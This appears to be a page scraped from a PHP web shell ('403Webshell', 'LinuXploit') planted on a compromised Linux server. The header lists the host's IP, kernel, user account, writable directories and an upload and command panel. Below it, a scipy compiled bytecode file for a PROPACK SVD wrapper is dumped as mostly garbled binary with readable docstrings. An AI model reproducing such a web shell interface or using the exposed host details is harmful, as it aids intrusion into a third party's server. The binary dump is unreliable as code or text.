403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/linalg/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/linalg/__pycache__/_svdp.cpython-311.pyc
�

d�c=-���dZdgZddlZddlmZddlmZddlm	Z	ddl
mZdd	l
mZdd
l
m
Z
ddl
mZejeje
jejd�Zejeje
jejd�Zd
dd�ZGd�d��Z				dd�ZdS)a�
Python wrapper for PROPACK
--------------------------

PROPACK is a collection of Fortran routines for iterative computation
of partial SVDs of large matrices or linear operators.

Based on BSD licensed pypropack project:
  http://github.com/jakevdp/pypropack
  Author: Jake Vanderplas <vanderplas@astro.washington.edu>

PROPACK source is BSD licensed, and available at
  http://soi.stanford.edu/~rmunk/PROPACK/
�_svdp�N)�check_random_state)�aslinearoperator)�LinAlgError�)�	_spropack)�	_dpropack)�	_cpropack)�	_zpropack)�f�d�F�D�L�S)�LM�SMc�J�eZdZdZd�Zd�Zed���Zed���ZdS)�_AProdz�
    Wrapper class for linear operator

    The call signature of the __call__ method matches the callback of
    the PROPACK routines.
    c��	t|��|_dS#t$r*ttj|����|_YdSwxYw�N)r�A�	TypeError�np�asarray)�selfrs  �;/usr/lib/python3/dist-packages/scipy/sparse/linalg/_svdp.py�__init__z_AProd.__init__:sR��	5�%�a�(�(�D�F�F�F���	5�	5�	5�%�b�j��m�m�4�4�D�F�F�F�F�	5���s��0A�Ac��|dkr!|j�|��|dd�<dS|j�|��|dd�<dS)N�n)r�matvec�rmatvec)r�transa�mr �x�y�sparm�iparms        r�__call__z_AProd.__call__@sI���S�=�=��6�=�=��#�#�A�a�a�a�D�D�D��6�>�>�!�$�$�A�a�a�a�D�D�D�c��|jjSr)r�shape�rs rr,z_AProd.shapeFs���v�|�r*c��	|jjS#t$rD|j�t	j|jjd����jcYSwxYw)Nr)r�dtype�AttributeErrorr!r�zerosr,r-s rr/z_AProd.dtypeJs`��	B��6�<����	B�	B�	B��6�=�=���$�&�,�q�/�!:�!:�;�;�A�A�A�A�	B���s��AA�AN)	�__name__�
__module__�__qualname__�__doc__rr)�propertyr,r/�r*rrr3sw��������5�5�5�%�%�%�����X���B�B��X�B�B�Br*rrTF���Mb`?c���tj|��r,tjd��jdkrt	d���t|��}|���}|dvrtd���|s|dkrtd���t|��}|j	j
}	t|}t|}n�#t$r�tjtjd|�����rtj	t��j
}ntj	t ��j
}t|}t|}YnwxYw|j\}}|d	ks|t%||��krtd
���|�d|z}|�d
}t%|d	z|d	z|��}||krtd|�d|�d����|rdnd}|rdnd}tj||d	zfd|���}tj||fd|���}|�q|�|���|dd�df<tjtjd|�����r+|dd�dfxxd|�|���zz
cc<n+	||dd�df<n #t$rtd|�����wxYw|
�+tjtj|��j��}
|�tj|��jdz}|rptj|
|||f|������}|�||z
}|t%||z
||��krtd���|dkrtd���n+tj|
||f|������}tjt5t7|
����t5t7|����fd���}d}|s|rN||zd|zzd|z|zzdzt9d |z|zd|zzdz|t9||��z��z} d|z}!n9||zd|zzd!|z|zzdzt9||zd|zdz��z} d!|zd	z}!tj| |������}"tj|!tj���}#tjd	|������}$tjd	tj���}%|���r%tj||zd"|zz|���}&|"|&|#f}'n|"|#f}'|r.|t>||||||||||||	g|'�|�|�|$�|%�R�\}}(})}}*n||||||||||	g	|'�|�|�|$�|%�R�\}}(})}}*|*dkrtAd#|*�d$����|*dkrtAd%|�d&|�d'����|dd�d|�f|(|dd�d|�f�!��j"|)fS)(a;
    Compute the singular value decomposition of a linear operator using PROPACK

    Parameters
    ----------
    A : array_like, sparse matrix, or LinearOperator
        Operator for which SVD will be computed.  If `A` is a LinearOperator
        object, it must define both ``matvec`` and ``rmatvec`` methods.
    k : int
        Number of singular values/vectors to compute
    which : {"LM", "SM"}
        Which singluar triplets to compute:
        - 'LM': compute triplets corresponding to the `k` largest singular
                values
        - 'SM': compute triplets corresponding to the `k` smallest singular
                values
        `which='SM'` requires `irl_mode=True`.  Computes largest singular
        values by default.
    irl_mode : bool, optional
        If `True`, then compute SVD using IRL (implicitly restarted Lanczos)
        mode.  Default is `True`.
    kmax : int, optional
        Maximal number of iterations / maximal dimension of the Krylov
        subspace. Default is ``10 * k``.
    compute_u : bool, optional
        If `True` (default) then compute left singular vectors, `u`.
    compute_v : bool, optional
        If `True` (default) then compute right singular vectors, `v`.
    tol : float, optional
        The desired relative accuracy for computed singular values.
        If not specified, it will be set based on machine precision.
    v0 : array_like, optional
        Starting vector for iterations: must be of length ``A.shape[0]``.
        If not specified, PROPACK will generate a starting vector.
    full_output : bool, optional
        If `True`, then return sigma_bound.  Default is `False`.
    delta : float, optional
        Level of orthogonality to maintain between Lanczos vectors.
        Default is set based on machine precision.
    eta : float, optional
        Orthogonality cutoff.  During reorthogonalization, vectors with
        component larger than `eta` along the Lanczos vector will be purged.
        Default is set based on machine precision.
    anorm : float, optional
        Estimate of ``||A||``.  Default is `0`.
    cgs : bool, optional
        If `True`, reorthogonalization is done using classical Gram-Schmidt.
        If `False` (default), it is done using modified Gram-Schmidt.
    elr : bool, optional
        If `True` (default), then extended local orthogonality is enforced
        when obtaining singular vectors.
    min_relgap : float, optional
        The smallest relative gap allowed between any shift in IRL mode.
        Default is `0.001`.  Accessed only if ``irl_mode=True``.
    shifts : int, optional
        Number of shifts per restart in IRL mode.  Default is determined
        to satisfy ``k <= min(kmax-shifts, m, n)``.  Must be
        >= 0, but choosing 0 might lead to performance degredation.
        Accessed only if ``irl_mode=True``.
    maxiter : int, optional
        Maximum number of restarts in IRL mode.  Default is `1000`.
        Accessed only if ``irl_mode=True``.
    random_state : {None, int, `numpy.random.Generator`,
                    `numpy.random.RandomState`}, optional

        Pseudorandom number generator state used to generate resamples.

        If `random_state` is ``None`` (or `np.random`), the
        `numpy.random.RandomState` singleton is used.
        If `random_state` is an int, a new ``RandomState`` instance is used,
        seeded with `random_state`.
        If `random_state` is already a ``Generator`` or ``RandomState``
        instance then that instance is used.

    Returns
    -------
    u : ndarray
        The `k` largest (``which="LM"``) or smallest (``which="SM"``) left
        singular vectors, ``shape == (A.shape[0], 3)``, returned only if
        ``compute_u=True``.
    sigma : ndarray
        The top `k` singular values, ``shape == (k,)``
    vt : ndarray
        The `k` largest (``which="LM"``) or smallest (``which="SM"``) right
        singular vectors, ``shape == (3, A.shape[1])``, returned only if
        ``compute_v=True``.
    sigma_bound : ndarray
        the error bounds on the singular values sigma, returned only if
        ``full_output=True``.

    r�zBPROPACK complex-valued SVD methods not available for 32-bit builds>rrz#`which` must be either 'LM' or 'SM'rz#`which`='SM' requires irl_mode=True)r/rz.k must be positive and not greater than m or nN�
i�z3kmax must be greater than or equal to k, but kmax (z) < k (�)r&r r)�orderr/)�sizey�?zv0 must be of length g�?z0shifts must satisfy k <= min(kmax-shifts, m, n)!zshifts must be >= 0!�i��	����� z#An invariant subspace of dimension z was found.zk=z0 singular triplets did not converge within kmax=z iterations)#r�iscomplexobj�intp�itemsizerr�upper�
ValueErrorrr/�char�_lansvd_irl_dict�_lansvd_dict�KeyError�empty�complex�floatr,�minr1�uniform�sqrt�finfo�eps�array�lower�int�bool�max�int32�isupper�_which_converterr�conj�T)+r�k�which�irl_mode�kmax�	compute_u�	compute_v�v0�full_output�tol�delta�eta�anorm�cgs�elr�
min_relgap�shifts�maxiter�random_state�aprod�typ�
lansvd_irl�lansvdr$r �jobu�jobv�u�v�doption�ioption�	blocksize�lwork�liwork�work�iwork�dparmr(�zwork�works�sigma�bnd�infos+                                           rrrRs3��B
��q���-�r�w�q�z�z�2�Q�6�6��,�-�-�	-�&�l�3�3�L��K�K�M�M�E��L� � ��>�?�?�?��@���
�
��>�?�?�?��1�I�I�E�
�+�
�C�
#�%�c�*�
��c�"�����#�#�#�
�?�2�8�A�S�1�1�1�2�2�	'��(�7�#�#�(�C�C��(�5�/�/�&�C�%�c�*�
��c�"����#�����;�D�A�q�	�A���1�s�1�a�y�y�=�=��I�J�J�J��|��!�t�������q�1�u�a�!�e�T�"�"�D��a�x�x��
+��
+�
+�&'�
+�
+�
+�,�,�	,�
�$�3�3��D��$�3�3��D�	��!�T�A�X��c��5�5�5�A�
��!�T��#�S�1�1�1�A�

�z��&�&�A�&�.�.��!�!�!�Q�$��
�?�2�8�A�S�1�1�1�2�2�	9�
�a�a�a��d�G�G�G�r�L�0�0�a�0�8�8�8�8�G�G�G��	:��A�a�a�a��d�G�G���	:�	:�	:��8�Q�8�8�9�9�9�	:����
�}������
�
�)�*�*��
�{��h�s�m�m��4�'���
C��(�E�3��z�:�#�)�)�+�+�N�N�N���>��A�X�F��s�4�&�=�!�Q�'�'�'�'��<�=�=�
=�
�a�Z�Z��3�4�4�4���(�E�3��.�c�i�i�k�k�B�B�B���h��D��I�I����D��I�I���7�s�C�C�C�G��I���I���A���$����4����,�q�0�3�
�d�F�4�K�!�D�&� �1�$��c�!�Q�i�i��4!�4!�!���4�����A���$����4����,�q�0�3�q�1�u�a��f�q�j�3I�3I�I���4��!���
�8�E������-�-�-�D��H�V�2�8�,�,�,�E�
�H�Q�c�i�i�k�k�*�*�*�E��H�Q�b�h�'�'�'�E�
�{�{�}�}�����Q���A���S�1�1�1���e�U�"����e����P�!+��,<�U�,C�T�,0�!�Q���7�,1�1�a��"C�?D�"C�FM�"C�-4�"C�6;�"C�=B�"C�"C�"C���5�#�q�$�$�
"(���d�A�q�!�U�A�q�#�"P�).�"P�07�"P�9@�"P�BG�"P�IN�"P�"P�"P���5�#�q�$��a�x�x��C�$�C�C�C�E�E�	E�	
�����
&��
&�
&��
&�
&�
&�'�'�	'�
�Q�Q�Q����U�8�U�A�a�a�a��!��e�H�M�M�O�O�-�s�2�2s�*C�B	E�E�:	J�J!)rTNTTNFrNNrFTr8NNN)r5�__all__�numpyr�scipy._lib._utilr�scipy.sparse.linalgr�scipy.linalgr�_propackrr	r
r�slansvd�dlansvd�clansvd�zlansvdrN�slansvd_irl�dlansvd_irl�clansvd_irl�zlansvd_irlrMr_rrr7r*r�<module>r�sf��
�
��)������/�/�/�/�/�/�0�0�0�0�0�0�$�$�$�$�$�$�������������������������
�	�	�	�	�	�	�	�	���
�	�	�	�	�	�	�	�	����

����B�B�B�B�B�B�B�B�>15�JK�8<�DH�o3�o3�o3�o3�o3�o3r*

Youez - 2016 - github.com/yon3zu
LinuXploit